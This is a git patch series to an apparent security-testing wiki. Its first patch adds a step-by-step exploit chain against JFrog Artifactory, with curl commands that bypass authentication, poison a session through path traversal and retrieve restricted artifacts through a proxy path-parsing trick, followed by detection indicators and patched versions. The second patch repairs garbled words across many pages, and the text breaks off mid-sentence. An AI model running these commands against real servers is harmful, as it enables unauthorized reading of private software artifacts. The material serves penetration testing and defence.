From 942af57f3d0bb5726cfd800adc05b8ce61e6843d Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 14 Aug 2026 19:11:40 +0000 Subject: [PATCH 1/3] Add content from: Stealing the Artifact: Chaining JFrog Artifactory Authentica... --- .../artifactory-hacking-guide.md | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) diff --git a/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md b/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md index 141fef44884..1379b12c675 100644 --- a/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md +++ b/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md @@ -4,8 +4,120 @@ The linked guide collects practical Artifactory testing notes covering anonymous access, repository permissions, version-specific vulnerabilities, and post-exploitation paths. Validate every technique against the deployed Artifactory version because endpoints, defaults, and mitigations have changed over time.[[1]](#references) +## Anonymous JWT to restricted-artifact exfiltration + +A useful Artifactory review pattern is to follow an identity from the security filter chain into UI helpers, session objects, content-addressed storage, filesystem export code, and finally the reverse proxy. CVE-2026-42018 and CVE-2026-69107 demonstrate how four mismatches across those layers can turn an unauthenticated request into arbitrary restricted-artifact read.[[2]](#references)[[3]](#references)[[4]](#references) + +### 1. Trailing-slash security-filter mismatch + +In vulnerable versions, the AWS token-exchange authentication filter exactly matches `POST /api/v1/aws/token`, but the JAX-RS resource also accepts `/api/v1/aws/token/`. The trailing slash makes Spring's `AntPathRequestMatcher` return false, so `OncePerRequestFilter.shouldNotFilter()` skips the AWS header and IAM-identity validation while the request still reaches the token handler. Test path variants—trailing and duplicate separators, encoded separators, dot segments, and path parameters—whenever a filter and resource router use different matchers.[[2]](#references) + +```bash +curl -sS -X POST \ + 'https://artifactory/access/api/v1/aws/token/' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +After the intended filter is skipped, Spring's fallback anonymous filter populates the empty security context. The token resource uses `@SkipAuthorization`, reads only the context username, and mints a JWT without proving that AWS authentication established that identity. Artifactory's anonymous principal is a database user in the users role, so the returned `applied-permissions/user` token can satisfy endpoints guarded by `@RolesAllowed({"admin", "user"})` even when ordinary anonymous access is disabled.[[2]](#references) + +```bash +JWT='' +curl -sS 'https://artifactory/artifactory/api/system/version' \ + -H "Authorization: Bearer ${JWT}" +``` + +This is broader than a login-form bypass: audit any credential-minting endpoint that trusts a generic `SecurityContext` principal. Require evidence that the expected mechanism authenticated the principal, rather than merely checking that some fallback identity exists. See also [Login Bypass](../../pentesting-web/login-bypass/README.md) and [403 & 401 Bypasses](403-and-401-bypasses.md).[[2]](#references) + +### 2. ACL-free object hydration and session poisoning + +The deprecated stash feature accepts search-result models at `POST /artifactory/ui/stashResults`. For a `quick` result, attacker-controlled `repoKey` and `relativePath` values are combined into a `RepoPath`; `RepositoryServiceImpl.getItemInfo()` then returns a `FileInfo` with SHA-1/SHA-256, size, timestamps, and repository metadata without checking whether the caller may read that logical path. Existing and nonexistent artifact paths also produce distinguishable outcomes, creating a repository/artifact enumeration oracle.[[2]](#references) + +The same flow calls `request.getSession(true)` for a bearer-only request and stores the hydrated object under the attacker-controlled `name`. Consequently, the bearer JWT is upgraded to a stateful session containing privileged metadata for an otherwise unreadable artifact. This pattern is worth testing in search, clipboard, batch, export, backup, replication, and restore helpers: accepting an identifier and constructing a trusted internal object can bypass the normal object-level authorization layer.[[2]](#references) + +```bash +STASH='../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/ROOT/markertag' + +curl -sk --path-as-is -D headers.txt -c cookies.txt -X POST \ + "https://artifactory/artifactory/ui/stashResults?name=${STASH}" \ + -H "Authorization: Bearer ${JWT}" \ + -H 'Content-Type: application/json' \ + -H 'X-Requested-With: artUI' \ + -d '[{"type":"quick","repoKey":"sample-repo","relativePath":"builds/sample/sample-v1.0.0"}]' +``` + +A successful response sets a `SESSION` cookie and binds the restricted artifact's `FileInfo` to the traversal-shaped stash key. Retain both the JWT and cookie for the export request. This is an application-specific instance of [IDOR/BOLA](../../pentesting-web/idor.md), but the referenced object is server-side metadata rather than a simple numeric record.[[2]](#references) + +### 3. Content-addressed export plus secondary-component traversal + +Artifactory's export path dereferences the stashed object with `getBinary(sourceFile.getSha1(), headers)`; no repository ACL is rechecked immediately before the blob read. In a content-addressed system, possession of a valid digest or metadata object can therefore become equivalent to read permission if low-level export/restore code treats the digest as sufficient authority.[[2]](#references) + +The export endpoint validates the JSON body path, but later constructs a child directory from the unvalidated stash name and a timestamp: + +```java +String baseExportName = searchResults.getName() + "-" + timestamp; +File tmpExportDir = new File(validatedBaseDir, baseExportName); +``` + +Validating only `validatedBaseDir` is insufficient. A stash name beginning with `../` survives the concatenation, and `FileUtils.forceMkdir()` resolves it when creating the final parent. Validation must canonicalize the **complete destination after every attacker-controlled component is appended** and then verify that it remains below the export root. See [File Inclusion and Path Traversal](../../pentesting-web/file-inclusion/README.md).[[2]](#references) + +The security-relevant export request fields are the same traversal-shaped `name`, a permitted base such as `/tmp`, and the session that contains the poisoned stash object. Other JSON flags may be required by the deployed endpoint schema.[[2]](#references) + +```bash +curl -sk --path-as-is -D export-headers.txt -b cookies.txt -X POST \ + "https://artifactory/artifactory/ui/stashResults/export?name=${STASH}" \ + -H "Authorization: Bearer ${JWT}" \ + -H 'Content-Type: application/json' \ + -H 'X-Requested-With: artUI' \ + -d '{"path":"/tmp"}' +``` + +With the example stash name, the restricted blob is copied beneath Tomcat's unauthenticated static root in a directory named `markertag-yyyyMMdd.HHmmss`. The HTTP response `Date` header bounds the timestamp search; the original research found that testing the response second and the preceding two seconds was sufficient. Exporting a protected object into an unprotected web root bypasses its logical repository ACL even though the vulnerable API never returns the bytes directly.[[2]](#references) + +If the attacker also controls the source artifact's content and filename, this becomes a constrained arbitrary-file-write primitive. Do not claim RCE without separately accounting for the mandatory timestamped parent directory, retained source filename, extensions, and permissions; the demonstrated chain used the write only for exfiltration.[[2]](#references) + +### 4. jf-router/Tomcat path-parser differential + +In a typical deployment, `jf-router`/Traefik exposes a route matching `^/artifactory/(.*)$` and forwards it to Tomcat on `localhost:8081`. The frontend matches and forwards a raw `/artifactory/..;/...` path, while Tomcat strips the semicolon path parameter, obtains a `..` segment, and normalizes into its root web application. One URL therefore both selects the backend route and escapes the `/artifactory` context.[[2]](#references) + +Use a client that preserves the raw path; curl otherwise normalizes dot segments before transmission: + +```bash +curl -si --path-as-is \ + 'https://artifactory/artifactory/..;/index.html' +``` + +A vulnerable route returns Tomcat's root `index.html` rather than an Artifactory-context resource. After export, request candidate timestamped directories through the same differential:[[2]](#references) + +```bash +TAG='markertag' +for TS in 20260713.112308 20260713.112307 20260713.112306; do + code=$(curl -sk --path-as-is -o /tmp/artifact -w '%{http_code}' \ + "https://artifactory/artifactory/..;/${TAG}-${TS}/sample-v1.0.0") + [ "$code" = 200 ] && sha256sum /tmp/artifact && break +done +``` + +When port 8081 is directly reachable, the `..;` routing step is unnecessary and the timestamped static path can be requested from Tomcat directly. For other stacks, compare the raw and normalized path at every hop and test semicolon parameters, trailing slashes, duplicate separators, encoded separators, and mixed encodings. See [Proxy/WAF Protections Bypass](../../pentesting-web/proxy-waf-protections-bypass.md) and [Tomcat path traversal](tomcat/README.md#path-traversal-exploit).[[2]](#references) + +## Detection and remediation + +High-signal review points for this chain include the following.[[2]](#references) + +- `POST /access/api/v1/aws/token/` with a trailing slash, especially followed by anonymous-user JWT activity. +- Tokens for `anonymous` whose description is `Generated access token for Aws assumed role token exchange`. +- Bearer-authenticated `/artifactory/ui/stashResults` and `/stashResults/export` requests that also create/use a `SESSION` cookie. +- Stash names containing `../`, installation paths, or `tomcat/webapps/ROOT`. +- Unexpected `name-yyyyMMdd.HHmmss` directories beneath the Tomcat root application. +- Raw URLs containing `/artifactory/..;/`, particularly repeated requests across adjacent timestamps. + +CVE-2026-42018 is fixed in 7.146.8. CVE-2026-69107 is fixed in 7.104.16, 7.111.14, 7.117.21, 7.125.14, 7.133.21, and 7.146.8 for the corresponding maintained branches. Upgrade to a fixed release, prevent direct external access to backend ports and internal router administration endpoints, and inspect the Tomcat web root and access logs for the indicators above.[[2]](#references)[[3]](#references)[[4]](#references) + ## References - [1] [Guillaume Quéré - Artifactory Hacking Guide](https://www.errno.fr/artifactory/Attacking_Artifactory) +- [2] [Daniil Vylegzhanin (NetSPI) - Stealing the Artifact: Chaining JFrog Artifactory Authentication, Authorization, Path Traversal, and URL Parsing Vulnerabilities](https://www.netspi.com/blog/technical-blog/red-teaming/stealing-the-artifact-jfrog-artifactory-vulnerability/) +- [3] [JFrog CNA record - CVE-2026-42018](https://www.cve.org/CVERecord?id=CVE-2026-42018) +- [4] [JFrog CNA record - CVE-2026-69107](https://www.cve.org/CVERecord?id=CVE-2026-69107) {{#include ../../banners/hacktricks-training.md}} From 1bffe8f3cfcdc9f86b6a8ff5926955f22bdd829a Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:36:43 +0200 Subject: [PATCH 2/3] Restore text corrupted by citation cleanup --- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- .../arbitrary-write-2-exec/aw2exec-sips-icc-profile.md | 2 +- .../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md | 2 +- .../imessage-media-parser-zero-click-coreaudio-pac-bypass.md | 2 +- .../libc-heap/gnu-obstack-function-pointer-hijack.md | 2 +- src/binary-exploitation/libc-heap/heap-overflow.md | 2 +- src/binary-exploitation/libc-heap/house-of-force.md | 4 ++-- src/generic-hacking/archive-extraction-path-traversal.md | 2 +- src/generic-hacking/tunneling-and-port-forwarding.md | 4 ++-- .../partitions-file-systems-carving/README.md | 2 +- .../svg-font-glyph-analysis-and-web-drm-deobfuscation.md | 4 ++-- .../pentesting-network/dhcpv6.md | 2 +- .../pentesting-wifi/README.md | 2 +- .../linux-basics/bypass-linux-restrictions/README.md | 4 ++-- ...oid-rooting-frameworks-manager-auth-bypass-syscall-hook.md | 2 +- .../macos-installers-abuse.md | 2 +- .../24007-24008-24009-49152-pentesting-glusterfs.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 2 +- .../pentesting-631-internet-printing-protocol-ipp.md | 2 +- src/network-services-pentesting/pentesting-ldap.md | 2 +- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../forced-extension-load-preferences-mac-forgery-windows.md | 2 +- src/pentesting-web/h2c-smuggling.md | 4 ++-- .../postgresql-injection/rce-with-postgresql-extensions.md | 2 +- .../ssti-server-side-template-injection/README.md | 2 +- src/pentesting-web/xss-cross-site-scripting/sniff-leak.md | 2 +- .../xss-cross-site-scripting/xss-in-markdown.md | 2 +- .../active-directory-methodology/kerberoast.md | 2 +- .../windows-local-privilege-escalation/create-msi-with-wix.md | 2 +- 31 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 8583d5f109c..33a0c992846 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -19,7 +19,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. 4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. -The following minimal implementation adapts the d notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) +The following minimal implementation adapts the cited notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) ```python import math diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index cfd36adda19..b73761840da 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -99,7 +99,7 @@ The header and tag layout follow the ICC profile format, but this remains a stru ## Impact -Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The d advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) +Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The cited advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) ## Detection & Mitigation diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 8e5c3201753..2fdda88877a 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -42,7 +42,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba #### Eternal loop -The d Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) +The cited Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) - Use your first write to **call the vulnerable arbitrary write function** again - Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md index 27bd11de3cb..c5b88616ee6 100644 --- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md +++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the d JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) +This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the cited JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively. diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md index e874f06740d..254e2fa8d2d 100644 --- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md +++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md @@ -4,7 +4,7 @@ ## Overview -GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the d **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) +GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the cited **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) - `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)` - `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)` diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 6a354e9ed21..9ce39e5b5b4 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows, the layout and data present when the vulnerability is trigge Heap allocations, by contrast, are placed and reused according to allocator policies such as size classes, bins, zones, and freelists. The object adjacent to a vulnerable allocation can therefore be difficult to predict. Exploitation usually requires a **reliable way to place a useful victim object immediately after the overflowing buffer**. -One technique for controlling this layout is **heap grooming**. The d iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) +One technique for controlling this layout is **heap grooming**. The cited iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) In that exploit, several threads force many **`kalloc` allocations to fill existing free chunks and encourage the creation of a new page**, helping place the overflowing object next to a chosen victim.[[3]](#references) diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index ce0f6fe1869..dc0e77682b1 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -22,7 +22,7 @@ In a vulnerable allocator, the attacker corrupts the top-chunk size to the maximum unsigned value, then requests a carefully chosen size that advances the top pointer to just before target address `P`. Request size and `mmap` behavior still depend on allocator checks, thresholds, alignment, and integer arithmetic.[[3]](#references) -Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the d PoC, the request calculation is:[[4]](#references) +Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the cited PoC, the request calculation is:[[4]](#references) ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 @@ -37,7 +37,7 @@ Calculate the distance from the current top chunk to the target. The first craft */ ``` -For the d 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ +For the cited 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ Then call `malloc` again to obtain a chunk overlapping the target address. ### Worked exploit examples diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md index 988d1e0cb2b..81d05ff4f75 100644 --- a/src/generic-hacking/archive-extraction-path-traversal.md +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -99,7 +99,7 @@ ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached ## Mitigation & Hardening -1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the d path/symlink issues.[[1]](#references)[[5]](#references) +1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the cited path/symlink issues.[[1]](#references)[[5]](#references) 2. Extract archives with “**Do not extract paths**” / “**Ignore paths**” when possible. 3. On Unix, drop privileges & mount a **chroot/namespace** before extraction; on Windows, use **AppContainer** or a sandbox. 4. If writing custom code, normalise with `realpath()`/`PathCanonicalize()` **before** create/write, and reject any entry that escapes the destination. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 739a7cd5f6d..e192eb36faf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -817,7 +817,7 @@ qemu-system-x86_64.exe ^ ### Launching stealthily through VBScript -TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident d above.[[1]](#references) +TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident cited above.[[1]](#references) ```vb ' update.vbs – lived in C:\ProgramData\update @@ -829,7 +829,7 @@ Running the script with `cscript.exe //B update.vbs` keeps the window hidden.[[1]](#references) +The cited incident describes persistence in the stateless Tiny Core guest through `/opt/bootlocal.sh` and `/opt/filetool.lst`:[[1]](#references) 1. Drop payload to `/opt/123.out` 2. Append to `/opt/bootlocal.sh`: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 38c658971c9..ed04bdf8808 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | | 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md index db2699f3bc2..a8f178cc638 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md @@ -245,7 +245,7 @@ The source report used run geometry, style fields, and link metadata to preserve - In practice, books converge to a few hundred unique glyphs (e.g., ~361 including ligatures). Cache SSIM results by perceptual hash.[[1]](#references) - After initial discovery, future batches predominantly re-use known hashes; decoding becomes I/O-bound. -- The d report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) +- The cited report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) ## Generalization to other viewers @@ -279,7 +279,7 @@ Adjust parameterization (book ASIN, page window, viewport) to match the reader ## Results achievable - Collapse 100+ randomized alphabets to a single glyph space via perceptual hashing.[[1]](#references) -- In the d 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) +- In the cited 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) - The source report describes the reconstructed EPUB as near-indistinguishable from the original.[[1]](#references) ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index e877f5d1f8e..288d3f62032 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -78,7 +78,7 @@ sudo atk6-flood_dhcpc6 ### Reconfigure Message Caveat -Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolid Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. +Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolicited Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. ## References diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 915df32d59e..6abcdeb3042 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -986,7 +986,7 @@ This method allows an **attacker to create a malicious access point (AP) that re ### MANA -Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.[[4]](#references) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 6ba9420b663..c23134c363f 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -358,7 +358,7 @@ Therefore you can create a *NOP sled for Bash* by prefixing your real command wi # 16× spaces ───┘ ↑ real command ``` -If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the d router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) +If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) Practical use cases in constrained embedded targets include:[[5]](#references) @@ -366,7 +366,7 @@ Practical use cases in constrained embedded targets include:[[5]](#referenc 2. Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).[[5]](#references) 3. Embedded devices with a small BusyBox `ash`/`sh` environment, which BusyBox documents as applets in resource-constrained systems.[[10]](#references) -> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the d router research demonstrates this combination on constrained hardware.[[5]](#references) +> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the cited router research demonstrates this combination on constrained hardware.[[5]](#references) ## References diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c06efd034be..ce095589ec2 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ The concrete KernelSU v0.5.7 case requires:[[1]](#references)[[3]](#referen --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps (the d demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) +High-level steps (the cited demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7d43f0e88f..8ec1645bfa5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -79,7 +79,7 @@ The hierarchy of a DMG file can be different based on the content. However, for ### Execution from public directories -If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The d talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references) +If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The cited talks and walkthrough show variants of this insecure external-script 